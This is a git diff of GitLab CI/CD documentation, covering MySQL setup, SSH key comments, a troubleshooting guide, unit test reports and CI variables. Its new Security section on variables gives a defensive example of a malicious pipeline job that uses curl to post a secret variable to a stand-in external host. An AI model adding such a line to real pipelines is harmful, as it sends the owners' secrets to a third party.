-You can also use any other Docker image available on [Docker Hub](https://hub.docker.com/_/mysql/).
-For example, to use MySQL 5.5 the service becomes `mysql:5.5`.
+ The MySQL container uses `MYSQL_DATABASE` and `MYSQL_ROOT_PASSWORD` to connect to the database.
+ Pass these values by using variables (`$MYSQL_DB` and `$MYSQL_PASS`),
+ [rather than calling them directly](https://gitlab.com/gitlab-org/gitlab/-/issues/30178).
-The `mysql` image can accept some environment variables. For more details
-check the documentation on [Docker Hub](https://hub.docker.com/_/mysql/).
+1. Configure your application to use the database, for example:
+
+ ```yaml
+ Host: mysql
+ User: runner
+ Password: <your_mysql_password>
+ Database: <your_mysql_database>
+ ```
## Use MySQL with the Shell executor
-You can also use MySQL on manually configured servers that are using
+You can also use MySQL on manually-configured servers that use
GitLab Runner with the Shell executor.
-First install the MySQL server:
+1. Install the MySQL server:
-```shell
-sudo apt-get install -y mysql-server mysql-client libmysqlclient-dev
-```
+ ```shell
+ sudo apt-get install -y mysql-server mysql-client libmysqlclient-dev
+ ```
-Pick a MySQL root password (can be anything), and type it twice when asked.
+1. Choose a MySQL root password and type it twice when asked.
-*Note: As a security measure you can run `mysql_secure_installation` to
-remove anonymous users, drop the test database and disable remote logins with
-the root user.*
+ NOTE: **Note:**
+ As a security measure, you can run `mysql_secure_installation` to
+ remove anonymous users, drop the test database, and disable remote logins by
+ the root user.
-The next step is to create a user, so login to MySQL as root:
+1. Create a user by logging in to MySQL as root:
-```shell
-mysql -u root -p
-```
+ ```shell
+ mysql -u root -p
+ ```
-Then create a user (in our case `runner`) which will be used by your
-application. Change `$password` in the command below to a real strong password.
+1. Create a user (in this case, `runner`) that will be used by your
+ application. Change `$password` in the command to a strong password.
-*Note: Do not type `mysql>`, this is part of the MySQL prompt.*
+ At the `mysql>` prompt, type:
-```shell
-mysql> CREATE USER 'runner'@'localhost' IDENTIFIED BY '$password';
-```
+ ```sql
+ CREATE USER 'runner'@'localhost' IDENTIFIED BY '$password';
+ ```
-Create the database:
+1. Create the database:
-```shell
-mysql> CREATE DATABASE IF NOT EXISTS `<your_mysql_database>` DEFAULT CHARACTER SET `utf8` COLLATE `utf8_unicode_ci`;
-```
+ ```sql
+ CREATE DATABASE IF NOT EXISTS `<your_mysql_database>` DEFAULT CHARACTER SET `utf8` \
+ COLLATE `utf8_unicode_ci`;
+ ```
-Grant the necessary permissions on the database:
+1. Grant the necessary permissions on the database:
-```shell
-mysql> GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, CREATE TEMPORARY TABLES, DROP, INDEX, ALTER, LOCK TABLES ON `<your_mysql_database>`.* TO 'runner'@'localhost';
-```
+ ```sql
+ GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, CREATE TEMPORARY TABLES, DROP, INDEX, ALTER, LOCK TABLES ON `<your_mysql_database>`.* TO 'runner'@'localhost';
+ ```
-If all went well you can now quit the database session:
+1. If all went well, you can quit the database session:
-```shell
-mysql> \q
-```
+ ```shell
+ \q
+ ```
-Now, try to connect to the newly created database to check that everything is
-in place:
+1. Connect to the newly-created database to check that everything is
+ in place:
-```shell
-mysql -u runner -p -D <your_mysql_database>
-```
+ ```shell
+ mysql -u runner -p -D <your_mysql_database>
+ ```
-As a final step, configure your application to use the database, for example:
+1. Configure your application to use the database, for example:
-```shell
-Host: localhost
-User: runner
-Password: $password
-Database: <your_mysql_database>
-```
+ ```shell
+ Host: localhost
+ User: runner
+ Password: $password
+ Database: <your_mysql_database>
+ ```
## Example project
-We have set up an [Example MySQL Project](https://gitlab.com/gitlab-examples/mysql) for your
-convenience that runs on [GitLab.com](https://gitlab.com) using our publicly
-available [shared runners](../runners/README.md).
-
-Want to hack on it? Simply fork it, commit and push your changes. Within a few
-moments the changes will be picked by a public runner and the job will begin.
+To view a MySQL example, create a fork of this [sample project](https://gitlab.com/gitlab-examples/mysql).
+This project uses publicly-available [shared runners](../runners/README.md) on [GitLab.com](https://gitlab.com).
+Update the README.md file, commit your changes, and view the CI/CD pipeline to see it in action.
diff --git a/doc/ci/ssh_keys/README.md b/doc/ci/ssh_keys/README.md
index b1847ffbc60..d8280316f19 100644
--- a/doc/ci/ssh_keys/README.md
+++ b/doc/ci/ssh_keys/README.md
@@ -2,7 +2,6 @@
stage: Verify
group: Continuous Integration
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
-last_updated: 2017-12-13
type: tutorial
---
@@ -91,8 +90,8 @@ to access it. This is where an SSH key pair comes in handy.
## Optionally, if you will be using any Git commands, set the user name and
## and email.
##
- #- git config --global user.email "user@example.com"
- #- git config --global user.name "User name"
+ # - git config --global user.email "user@example.com"
+ # - git config --global user.name "User name"
```
NOTE: **Note:**
@@ -193,8 +192,8 @@ before_script:
## Replace example.com with your private server's domain name. Repeat that
## command if you have more than one server to connect to.
##
- #- ssh-keyscan example.com >> ~/.ssh/known_hosts
- #- chmod 644 ~/.ssh/known_hosts
+ # - ssh-keyscan example.com >> ~/.ssh/known_hosts
+ # - chmod 644 ~/.ssh/known_hosts
##
## You can optionally disable host key checking. Be aware that by adding that
@@ -202,7 +201,7 @@ before_script:
## WARNING: Use this only with the Docker executor, if you use it with shell
## you will overwrite your user's SSH config.
##
- #- '[[ -f /.dockerenv ]] && echo -e "Host *\n\tStrictHostKeyChecking no\n\n" >> ~/.ssh/config'
+ # - '[[ -f /.dockerenv ]] && echo -e "Host *\n\tStrictHostKeyChecking no\n\n" >> ~/.ssh/config'
```
## Example project
diff --git a/doc/ci/troubleshooting.md b/doc/ci/troubleshooting.md
index 96d94a6c165..992b51b6b3d 100644
--- a/doc/ci/troubleshooting.md
+++ b/doc/ci/troubleshooting.md
@@ -7,49 +7,240 @@ type: reference
# Troubleshooting CI/CD
-## Pipeline warnings
+GitLab provides several tools to help make troubleshooting your pipelines easier.
-Pipeline configuration warnings are shown when you:
+This guide also lists common issues and possible solutions.
-- [View pipeline details](pipelines/index.md#view-pipelines).
-- [Validate configuration with the CI Lint tool](yaml/README.md#validate-the-gitlab-ciyml).
-- [Manually run a pipeline](pipelines/index.md#run-a-pipeline-manually).
+## Verify syntax
-### "Job may allow multiple pipelines to run for a single action"
+An early source of problems can be incorrect syntax. The pipeline shows a `yaml invalid`
+badge and does not start running if any syntax or formatting problems are found.
-When you use [`rules`](yaml/README.md#rules) with a `when:` clause without
-an `if:` clause, multiple pipelines may run. Usually
-this occurs when you push a commit to a branch that has an open merge request associated with it.
+### Edit `gitlab-ci.yml` with the Web IDE
-To [prevent duplicate pipelines](yaml/README.md#prevent-duplicate-pipelines), use
-[`workflow: rules`](yaml/README.md#workflowrules) or rewrite your rules
-to control which pipelines can run.
+The [GitLab Web IDE](../user/project/web_ide/index.md) offers advanced authoring tools,
+including syntax highlighting for the `.gitlab-ci.yml`, and is the recommended editing
+experience (rather than the single file editor). It offers code completion suggestions
+that ensure you are only using accepted keywords.
+
+If you prefer to use another editor, you can use a schema like [the Schemastore `gitlab-ci` schema](https://json.schemastore.org/gitlab-ci)
+with your editor of choice.
+
+### Verify syntax with CI Lint tool
+
+The [CI Lint tool](lint.md) is a simple way to ensure the syntax of a CI/CD configuration
+file is correct. Paste in full `gitlab-ci.yml` files or individual jobs configuration,
+to verify the basic syntax.
+
+When a `.gitlab-ci.yml` file is present in a project, you can also use the CI Lint
+tool to [simulate the creation of a full pipeline](lint.md#pipeline-simulation).
+It does deeper verification of the configuration syntax.
+
+## Verify variables
+
+A key part of troubleshooting CI/CD is to verify which variables are present in a
+pipeline, and what their values are. A lot of pipeline configuration is dependent
+on variables, and verifying them is one of the fastest ways to find the source of
+a problem.
+
+[Export the full list of variables](variables/README.md#list-all-environment-variables)
+available in each problematic job. Check if the variables you expect are present,
+and check if their values are what you expect.
+
+## GitLab CI/CD documentation
+
+The [complete `gitlab-ci.yml` reference](yaml/README.md) contains a full list of
+every keyword you may need to use to configure your pipelines.
+
+You can also look at a large number of pipeline configuration [examples](examples/README.md)
+and [templates](examples/README.md#cicd-templates).
+
+### Documentation for pipeline types
+
+Some pipeline types have their own detailed usage guides that you should read
+if you are using that type:
+
+- [Multi-project pipelines](multi_project_pipelines.md): Have your pipeline trigger
+ a pipeline in a different project.
+- [Parent/child pipelines](parent_child_pipelines.md): Have your main pipeline trigger
+ and run separate pipelines in the same project. You can also
+ [dynamically generate the child pipeline's configuration](parent_child_pipelines.md#dynamic-child-pipelines)
+ at runtime.
+- [Pipelines for Merge Requests](merge_request_pipelines/index.md): Run a pipeline
+ in the context of a merge request.
+ - [Pipelines for Merge Results](merge_request_pipelines/pipelines_for_merged_results/index.md):
+ Pipelines for merge requests that run on the combined source and target branch
+ - [Merge Trains](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md):
+ Multiple pipelines for merged results that queue and run automatically before
+ changes are merged.
+
+### Troubleshooting Guides for CI/CD features
+
+There are troubleshooting guides available for some CI/CD features and related topics:
+
+- [Container Registry](../user/packages/container_registry/index.md#troubleshooting-the-gitlab-container-registry)
+- [GitLab Runner](https://docs.gitlab.com/runner/faq/)
+- [Merge Trains](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md#troubleshooting)
+- [Docker Build](docker/using_docker_build.md#troubleshooting)
+- [Environments](environments/deployment_safety.md#ensure-only-one-deployment-job-runs-at-a-time)
+
+## Common CI/CD issues
+
+A lot of common pipeline issues can be fixed by analyzing the behavior of the `rules`
+or `only/except` configuration. You shouldn't use these two configurations in the same
+pipeline, as they behave differently. It's hard to predict how a pipeline runs with
+this mixed behavior.
+
+If your `rules` or `only/except` configuration makes use of [predefined variables](variables/predefined_variables.md)
+like `CI_PIPELINE_SOURCE`, `CI_MERGE_REQUEST_ID`, you should [verify them](#verify-variables)
+as the first troubleshooting step.
+
+### Jobs or pipelines don't run when expected
+
+The `rules` or `only/except` keywords are what determine whether or not a job is
+added to a pipeline. If a pipeline runs, but a job is not added to the pipeline,
+it's usually due to `rules` or `only/except` configuration issues.
+
+If a pipeline does not seem to run at all, with no error message, it may also be
+due to `rules` or `only/except` configuration, or the `workflow: rules` keyword.
+
+If you are converting from `only/except` to the `rules` keyword, you should check
+the [`rules` configuration details](yaml/README.md#rules) carefully. The behavior
+of `only/except` and `rules` is different and can cause unexpected behavior when migrating
+between the two.
+
+The [common `if` clauses for `rules`](yaml/README.md#common-if-clauses-for-rules)
+can be very helpful for examples of how to write rules that behave the way you expect.
+
+#### Two pipelines run at the same time
+
+Two pipelines can run when pushing a commit to a branch that has an open merge request
+associated with it. Usually one pipeline is a merge request pipeline, and the other
+is a branch pipeline.
-## Merge request pipeline widget
+This is usually caused by the `rules` configuration, and there are several ways to
+[prevent duplicate pipelines](yaml/README.md#prevent-duplicate-pipelines).
-The merge request pipeline widget shows information about the pipeline status in a Merge Request. It's displayed above the [merge request ability to merge widget](#merge-request-ability-to-merge-widget).
+#### A job is not in the pipeline
-There are several messages that can be displayed depending on the status of the pipeline.
+GitLab determines if a job is added to a pipeline based on the [`only/except`](yaml/README.md#onlyexcept-basic)
+or [`rules`](yaml/README.md#rules) defined for the job. If it didn't run, it's probably
+not evaluating as you expect.
-### "Checking pipeline status"
+#### No pipeline or the wrong type of pipeline runs
-This message is shown when the merge request has no pipeline associated with the latest commit yet. This might be because:
+Before a pipeline can run, GitLab evaluates all the jobs in the configuration and tries
+to add them to all available pipeline types. A pipeline does not run if no jobs are added
+to it at the end of the evaluation.
+
+If a pipeline did not run, it's likely that all the jobs had `rules` or `only/except` that
+blocked them from being added to the pipeline.
+
+If the wrong pipeline type ran, then the `rules` or `only/except` configuration should
+be checked to make sure the jobs are added to the correct pipeline type. For
+example, if a merge request pipeline did not run, the jobs may have been added to
+a branch pipeline instead.
+
+It's also possible that your [`workflow: rules`](yaml/README.md#workflowrules) configuration
+blocked the pipeline, or allowed the wrong pipeline type.
+
+### A job runs unexpectedly
+
+A common reason a job is added to a pipeline unexpectedly is because the `changes`
+keyword always evaluates to true in certain cases. For example, `changes` is always
+true in certain pipeline types, including scheduled pipelines and pipelines for tags.
+
+The `changes` keyword is used in combination with [`only/except`](yaml/README.md#onlychangesexceptchanges)
+or [`rules`](yaml/README.md#ruleschanges)). It's recommended to use `changes` with
+`rules` or `only/except` configuration that ensures the job is only added to branch
+pipelines or merge request pipelines.
+
+### "fatal: reference is not a tree" error
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/17043) in GitLab 12.4.
+
+Previously, you'd have encountered unexpected pipeline failures when you force-pushed
+a branch to its remote repository. To illustrate the problem, suppose you've had the current workflow:
+
+1. A user creates a feature branch named `example` and pushes it to a remote repository.
+1. A new pipeline starts running on the `example` branch.
+1. A user rebases the `example` branch on the latest `master` branch and force-pushes it to its remote repository.
+1. A new pipeline starts running on the `example` branch again, however,
+ the previous pipeline (2) fails because of `fatal: reference is not a tree:` error.
+
+This is because the previous pipeline cannot find a checkout-SHA (which is associated with the pipeline record)
+from the `example` branch that the commit history has already been overwritten by the force-push.
+Similarly, [Pipelines for merged results](merge_request_pipelines/pipelines_for_merged_results/index.md)
+might have failed intermittently due to [the same reason](merge_request_pipelines/pipelines_for_merged_results/index.md#intermittently-pipelines-fail-by-fatal-reference-is-not-a-tree-error).
+
+As of GitLab 12.4, we've improved this behavior by persisting pipeline refs exclusively.
+To illustrate its life cycle:
+
+1. A pipeline is created on a feature branch named `example`.
+1. A persistent pipeline ref is created at `refs/pipelines/<pipeline-id>`,
+ which retains the checkout-SHA of the associated pipeline record.
+ This persistent ref stays intact during the pipeline execution,
+ even if the commit history of the `example` branch has been overwritten by force-push.
+1. The runner fetches the persistent pipeline ref and gets source code from the checkout-SHA.
+1. When the pipeline finishes, its persistent ref is cleaned up in a background process.
+
+### Merge request pipeline messages
+
+The merge request pipeline widget shows information about the pipeline status in
+a merge request. It's displayed above the [ability to merge status widget](#merge-request-status-messages).
+
+#### "Checking pipeline status" message
+
+This message is shown when the merge request has no pipeline associated with the
+latest commit yet. This might be because:
- GitLab hasn't finished creating the pipeline yet.
- You are using an external CI service and GitLab hasn't heard back from the service yet.
- You are not using CI/CD pipelines in your project.
- The latest pipeline was deleted (this is a [known issue](https://gitlab.com/gitlab-org/gitlab/-/issues/214323)).
-After the pipeline is created, the message will update with the pipeline status.
+After the pipeline is created, the message updates with the pipeline status.
+
+### Merge request status messages
+
+The merge request status widget shows the **Merge** button and whether or not a merge
+request is ready to merge. If the merge request can't be merged, the reason for this
+is displayed.
+
+If the pipeline is still running, the **Merge** button is replaced with the
+**Merge when pipeline succeeds** button.
-## Merge request ability to merge widget
+If [**Merge Trains**](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md)
+are enabled, the button is either **Add to merge train** or **Add to merge train when pipeline succeeds**. **(PREMIUM)**
-The merge request status widget shows the **Merge** button and whether or not a merge request is ready to merge. If the merge request can't be merged, the reason for this is displayed.
+#### "A CI/CD pipeline must run and be successful before merge" message
-If the pipeline is still running, the **Merge** button is replaced with the **Merge when pipeline succeeds** button.
+This message is shown if the [Pipelines must succeed](../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds)
+setting is enabled in the project and a pipeline has not yet run successfully.
+This also applies if the pipeline has not been created yet, or if you are waiting
+for an external CI service. If you don't use pipelines for your project, then you
+should disable **Pipelines must succeed** so you can accept merge requests.
+
+## Pipeline warnings
+
+Pipeline configuration warnings are shown when you:
+
+- [Validate configuration with the CI Lint tool](yaml/README.md#validate-the-gitlab-ciyml).
+- [Manually run a pipeline](pipelines/index.md#run-a-pipeline-manually).
+
+### "Job may allow multiple pipelines to run for a single action" warning
+
+When you use [`rules`](yaml/README.md#rules) with a `when:` clause without an `if:`
+clause, multiple pipelines may run. Usually this occurs when you push a commit to
+a branch that has an open merge request associated with it.
+
+To [prevent duplicate pipelines](yaml/README.md#prevent-duplicate-pipelines), use
+[`workflow: rules`](yaml/README.md#workflowrules) or rewrite your rules to control
+which pipelines can run.
-If [**Merge Trains**](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md) are enabled, the button is either **Add to merge train** or **Add to merge train when pipeline succeeds**. **(PREMIUM)**
+## How to get help
-### "A CI/CD pipeline must run and be successful before merge"
+If you are unable to resolve pipeline issues, you can get help from:
-This message is shown if the [Pipelines must succeed](../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds) setting is enabled in the project and a pipeline has not yet run successfully. This also applies if the pipeline has not been created yet, or if you are waiting for an external CI service. If you don't use pipelines for your project, then you should disable **Pipelines must succeed** so you can accept merge requests.
+- The [GitLab community forum](https://forum.gitlab.com/)
+- GitLab [Support](https://about.gitlab.com/support/)
diff --git a/doc/ci/unit_test_reports.md b/doc/ci/unit_test_reports.md
new file mode 100644
index 00000000000..5a59a175a89
--- /dev/null
+++ b/doc/ci/unit_test_reports.md
@@ -0,0 +1,293 @@
+---
+stage: Verify
+group: Testing
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+type: reference
+---
+
+# Unit test reports
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45318) in GitLab 11.2. Requires GitLab Runner 11.2 and above.
+> - [Renamed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39737) from JUnit test reports to Unit test reports in GitLab 13.4.
+
+## Overview
+
+It is very common that a [CI/CD pipeline](pipelines/index.md) contains a
+test job that will verify your code.
+If the tests fail, the pipeline fails and users get notified. The person that
+works on the merge request will have to check the job logs and see where the
+tests failed so that they can fix them.
+
+You can configure your job to use Unit test reports, and GitLab will display a
+report on the merge request so that it's easier and faster to identify the
+failure without having to check the entire log. Unit test reports currently
+only support test reports in the JUnit report format.
+
+If you don't use Merge Requests but still want to see the unit test report
+output without searching through job logs, the full
+[Unit test reports](#viewing-unit-test-reports-on-gitlab) are available
+in the pipeline detail view.
+
+Consider the following workflow:
+
+1. Your `master` branch is rock solid, your project is using GitLab CI/CD and
+ your pipelines indicate that there isn't anything broken.
+1. Someone from your team submits a merge request, a test fails and the pipeline
+ gets the known red icon. To investigate more, you have to go through the job
+ logs to figure out the cause of the failed test, which usually contain
+ thousands of lines.
+1. You configure the Unit test reports and immediately GitLab collects and
+ exposes them in the merge request. No more searching in the job logs.
+1. Your development and debugging workflow becomes easier, faster and efficient.
+
+## How it works
+
+First, GitLab Runner uploads all [JUnit report format XML files](https://www.ibm.com/support/knowledgecenter/en/SSQ2R2_14.1.0/com.ibm.rsar.analysis.codereview.cobol.doc/topics/cac_useresults_junit.html)
+as [artifacts](pipelines/job_artifacts.md#artifactsreportsjunit) to GitLab. Then, when you visit a merge request, GitLab starts
+comparing the head and base branch's JUnit report format XML files, where:
+
+- The base branch is the target branch (usually `master`).
+- The head branch is the source branch (the latest pipeline in each merge request).
+
+The reports panel has a summary showing how many tests failed, how many had errors
+and how many were fixed. If no comparison can be done because data for the base branch
+is not available, the panel will just show the list of failed tests for head.
+
+There are four types of results:
+
+1. **Newly failed tests:** Test cases which passed on base branch and failed on head branch
+1. **Newly encountered errors:** Test cases which passed on base branch and failed due to a
+ test error on head branch
+1. **Existing failures:** Test cases which failed on base branch and failed on head branch
+1. **Resolved failures:** Test cases which failed on base branch and passed on head branch
+
+Each entry in the panel will show the test name and its type from the list
+above. Clicking on the test name will open a modal window with details of its
+execution time and the error output.
+
+![Test Reports Widget](img/junit_test_report.png)
+
+## How to set it up
+
+To enable the Unit test reports in merge requests, you need to add
+[`artifacts:reports:junit`](pipelines/job_artifacts.md#artifactsreportsjunit)
+in `.gitlab-ci.yml`, and specify the path(s) of the generated test reports.
+The reports must be `.xml` files, otherwise [GitLab returns an Error 500](https://gitlab.com/gitlab-org/gitlab/-/issues/216575).
+
+In the following examples, the job in the `test` stage runs and GitLab
+collects the Unit test report from each job. After each job is executed, the
+XML reports are stored in GitLab as artifacts and their results are shown in the
+merge request widget.
+
+To make the Unit test report output files browsable, include them with the
+[`artifacts:paths`](yaml/README.md#artifactspaths) keyword as well, as shown in the [Ruby example](#ruby-example).
+To upload the report even if the job fails (for example if the tests do not pass), use the [`artifacts:when:always`](yaml/README.md#artifactswhen)
+keyword.
+
+NOTE: **Note:**
+You cannot have multiple tests with the same name and class in your JUnit report format XML file.
+
+### Ruby example
+
+Use the following job in `.gitlab-ci.yml`. This includes the `artifacts:paths` keyword to provide a link to the Unit test report output file.
+
+```yaml
+## Use https://github.com/sj26/rspec_junit_formatter to generate a JUnit report format XML file with rspec
+ruby:
+ stage: test
+ script:
+ - bundle install
+ - bundle exec rspec --format progress --format RspecJunitFormatter --out rspec.xml
+ artifacts:
+ when: always
+ paths:
+ - rspec.xml
+ reports:
+ junit: rspec.xml
+```
+
+### Go example
+
+Use the following job in `.gitlab-ci.yml`, and ensure you use `-set-exit-code`,
+otherwise the pipeline will be marked successful, even if the tests fail:
+
+```yaml
+## Use https://github.com/jstemmer/go-junit-report to generate a JUnit report format XML file with go
+golang:
+ stage: test
+ script:
+ - go get -u github.com/jstemmer/go-junit-report
+ - go test -v 2>&1 | go-junit-report -set-exit-code > report.xml
+ artifacts:
+ when: always
+ reports:
+ junit: report.xml
+```
+
+### Java examples
+
+There are a few tools that can produce JUnit report format XML file in Java.
+
+#### Gradle
+
+In the following example, `gradle` is used to generate the test reports.
+If there are multiple test tasks defined, `gradle` will generate multiple
+directories under `build/test-results/`. In that case, you can leverage glob
+matching by defining the following path: `build/test-results/test/**/TEST-*.xml`:
+
+```yaml
+java:
+ stage: test
+ script:
+ - gradle test
+ artifacts:
+ when: always
+ reports:
+ junit: build/test-results/test/**/TEST-*.xml
+```
+
+NOTE: **Note:**
+Support for `**` was added in [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620).
+
+#### Maven
+
+For parsing [Surefire](https://maven.apache.org/surefire/maven-surefire-plugin/)
+and [Failsafe](https://maven.apache.org/surefire/maven-failsafe-plugin/) test
+reports, use the following job in `.gitlab-ci.yml`:
+
+```yaml
+java:
+ stage: test
+ script:
+ - mvn verify
+ artifacts:
+ when: always
+ reports:
+ junit:
+ - target/surefire-reports/TEST-*.xml
+ - target/failsafe-reports/TEST-*.xml
+```
+
+### Python example
+
+This example uses pytest with the `--junitxml=report.xml` flag to format the output
+into the JUnit report XML format:
+
+```yaml
+pytest:
+ stage: test
+ script:
+ - pytest --junitxml=report.xml
+ artifacts:
+ when: always
+ reports:
+ junit: report.xml
+```
+
+### C/C++ example
+
+There are a few tools that can produce JUnit report format XML files in C/C++.
+
+#### GoogleTest
+
+In the following example, `gtest` is used to generate the test reports.
+If there are multiple gtest executables created for different architectures (`x86`, `x64` or `arm`),
+you will be required to run each test providing a unique filename. The results
+will then be aggregated together.
+
+```yaml
+cpp:
+ stage: test
+ script:
+ - gtest.exe --gtest_output="xml:report.xml"
+ artifacts:
+ when: always
+ reports:
+ junit: report.xml
+```
+
+#### CUnit
+
+[CUnit](https://cunity.gitlab.io/cunit/) can be made to produce [JUnit report format XML files](https://cunity.gitlab.io/cunit/group__CI.html) automatically when run using its `CUnitCI.h` macros:
+
+```yaml
+cunit:
+ stage: test
+ script:
+ - ./my-cunit-test
+ artifacts:
+ when: always
+ reports:
+ junit: ./my-cunit-test.xml
+```
+
+### .NET example
+
+The [JunitXML.TestLogger](https://www.nuget.org/packages/JunitXml.TestLogger/) NuGet
+package can generate test reports for .Net Framework and .Net Core applications. The following
+example expects a solution in the root folder of the repository, with one or more
+project files in sub-folders. One result file is produced per test project, and each file
+is placed in a new artifacts folder. This example includes optional formatting arguments, which
+improve the readability of test data in the test widget. A full .Net Core
+[example is available](https://gitlab.com/Siphonophora/dot-net-cicd-test-logging-demo).
+
+```yaml
+## Source code and documentation are here: https://github.com/spekt/junit.testlogger/
+
+Test:
+ stage: test
+ script:
+ - 'dotnet test --test-adapter-path:. --logger:"junit;LogFilePath=..\artifacts\{assembly}-test-result.xml;MethodFormat=Class;FailureBodyFormat=Verbose"'
+ artifacts:
+ when: always
+ paths:
+ - ./**/*test-result.xml
+ reports:
+ junit:
+ - ./**/*test-result.xml
+```
+
+## Viewing Unit test reports on GitLab
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24792) in GitLab 12.5 behind a feature flag (`junit_pipeline_view`), disabled by default.
+> - The feature flag was removed and the feature was [made generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/216478) in GitLab 13.3.
+
+If JUnit report format XML files are generated and uploaded as part of a pipeline, these reports
+can be viewed inside the pipelines details page. The **Tests** tab on this page will
+display a list of test suites and cases reported from the XML file.
+
+![Test Reports Widget](img/pipelines_junit_test_report_ui_v12_5.png)
+
+You can view all the known test suites and click on each of these to see further
+details, including the cases that make up the suite.
+
+You can also retrieve the reports via the [GitLab API](../api/pipelines.md#get-a-pipelines-test-report).
+
+## Viewing JUnit screenshots on GitLab
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202114) in GitLab 13.0.
+> - It's deployed behind a feature flag, disabled by default.
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enabling-the-junit-screenshots-feature). **(CORE ONLY)**
+
+If JUnit report format XML files contain an `attachment` tag, GitLab parses the attachment.
+
+Upload your screenshots as [artifacts](pipelines/job_artifacts.md#artifactsreportsjunit) to GitLab. The `attachment` tag **must** contain the absolute path to the screenshots you uploaded.
+
+```xml
+<testcase time="1.00" name="Test">
+ <system-out>[[ATTACHMENT|/absolute/path/to/some/file]]</system-out>
+</testcase>
+```
+
+When [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/6061) is complete, the attached file will be visible on the pipeline details page.
+
+### Enabling the JUnit screenshots feature **(CORE ONLY)**
+
+This feature comes with the `:junit_pipeline_screenshots_view` feature flag disabled by default.
+
+To enable this feature, ask a GitLab administrator with [Rails console access](../administration/feature_flags.md#how-to-enable-and-disable-features-behind-flags) to run the
+following command:
+
+```ruby
+Feature.enable(:junit_pipeline_screenshots_view)
+```
diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md
index 8f0ec75973c..1a982fa4e19 100644
--- a/doc/ci/variables/README.md
+++ b/doc/ci/variables/README.md
@@ -35,15 +35,15 @@ You can call issue numbers, user names, branch names,
pipeline and commit IDs, and much more.
Predefined environment variables are provided by GitLab
-for the local environment of the Runner.
+for the local environment of the runner.
GitLab reads the `.gitlab-ci.yml` file and sends the information
-to the Runner, where the variables are exposed. The Runner then runs the script commands.
+to the runner, where the variables are exposed. The runner then runs the script commands.
### Use predefined environment variables
You can choose one of the existing predefined variables
-to be output by the Runner.
+to be output by the runner.
This example shows how to output a job's stage by using the predefined variable `CI_JOB_STAGE`.
@@ -57,7 +57,7 @@ test_variable:
- echo $CI_JOB_STAGE
```
-In this case, the Runner outputs the `stage` for the
+In this case, the runner outputs the `stage` for the
job `test_variable`, which is `test`:
![Output `$CI_JOB_STAGE`](img/ci_job_stage_output_example.png)
@@ -84,7 +84,7 @@ When you need a specific custom environment variable, you can
[set it up in the UI](#create-a-custom-variable-in-the-ui), in [the API](../../api/project_level_variables.md),
or directly [in the `.gitlab-ci.yml` file](#create-a-custom-variable-in-gitlab-ciyml).
-The variables are used by the Runner any time the pipeline runs.
+The variables are used by the runner any time the pipeline runs.
You can also [override variable values manually for a specific pipeline](../pipelines/index.md#specifying-variables-when-running-manual-jobs).
There are two types of variables: **Variable** and **File**. You cannot set types in
@@ -131,21 +131,40 @@ After you set a variable, call it from the `.gitlab-ci.yml` file:
test_variable:
stage: test
script:
- - echo $CI_JOB_STAGE # calls a predefined variable
- - echo $TEST # calls a custom variable of type `env_var`
- - echo $GREETING # calls a custom variable of type `file` that contains the path to the temp file
- - cat $GREETING # the temp file itself contains the variable value
+ - echo $CI_JOB_STAGE # calls a predefined variable
+ - echo $TEST # calls a custom variable of type `env_var`
+ - echo $GREETING # calls a custom variable of type `file` that contains the path to the temp file
+ - cat $GREETING # the temp file itself contains the variable value
```
The output is:
![Output custom variable](img/custom_variables_output.png)
+Variables can only be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions).
+
+#### Security
+
+Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables and send them to a third party server regardless of the masked setting. If the pipeline runs on a [protected branch](../../user/project/protected_branches.md) or [protected tag](../../user/project/protected_tags.md), it could also compromise protected variables.
+
+All merge requests that introduce changes to `.gitlab-ci.yml` should be reviewed carefully before:
+
+- [Running a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project).
+- Merging the changes.
+
+Here is a simplified example of a malicious `.gitlab-ci.yml`:
+
+```yaml
+build:
+ script:
+ - curl --request POST --data "secret_variable=$SECRET_VARIABLE" https://maliciouswebsite.abcd/
+```
+
### Custom environment variables of type Variable
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11.
-For variables with the type **Variable**, the Runner creates an environment variable
+For variables with the type **Variable**, the runner creates an environment variable
that uses the key for the name and the value for the value.
There are [some predefined variables](#custom-variables-validated-by-gitlab) of this type,
@@ -155,8 +174,8 @@ which may be further validated. They appear when you add or update a variable in
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11.
-For variables with the type **File**, the Runner creates an environment variable that uses the key for the name.
-For the value, the Runner writes the variable value to a temporary file and uses this path.
+For variables with the type **File**, the runner creates an environment variable that uses the key for the name.
+For the value, the runner writes the variable value to a temporary file and uses this path.
You can use tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html)
